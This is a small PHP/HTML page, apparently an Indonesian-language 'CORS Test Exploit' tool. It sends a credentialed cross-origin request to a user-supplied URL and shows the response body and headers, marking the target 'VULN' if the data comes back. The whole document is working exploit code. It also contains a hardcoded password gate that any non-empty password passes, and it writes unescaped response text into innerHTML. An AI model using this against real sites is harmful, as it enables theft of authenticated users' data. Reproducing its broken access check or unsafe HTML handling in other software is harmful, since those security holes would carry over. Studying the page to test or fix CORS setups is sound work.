cors vuln tester

<?php
if($_GET['password'] != 'pr1v4t31337day' && empty($_GET['password'])){
  die('Hanya pihak berkepentingan yang dapat membuka');
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>CORS Test Exploit</title>
</head>
<body>
<h3>CORS Test Exploit</h3>
<input type="text" name="target" placeholder="Target URL" autocomplete="off"> <button type="submit" onclick="submit()">Exploit Now!</button><br>
<pre id="result"></pre>
<script type="text/javascript">
    function submit() {
        var url     = document.getElementsByName("target")[0].value;
        //alert("Tested CORS : "+url);
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {

                var contentType = xhttp.getAllResponseHeaders();
                document.getElementById("result").innerHTML = '<pre>Respons (Status : <b>VULN</b> | status code : '+this.status+' | URL : '+url+'):<br><br><textarea style="margin: 0px; width: 411px; height: 436px;"">'+this.responseText+'</textarea> <textarea style="margin: 0px; width: 411px; height: 436px;"">Header : \n\n'+contentType+'</textarea></pre>';
        }else{
            document.getElementById("result").innerHTML = "<pre>Respons (status : Not Vuln) : respons tidak ada , status code "+this.status+"</pre>";
        }


        };
      xhttp.open("GET", url, true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
</script>
</body>
</html>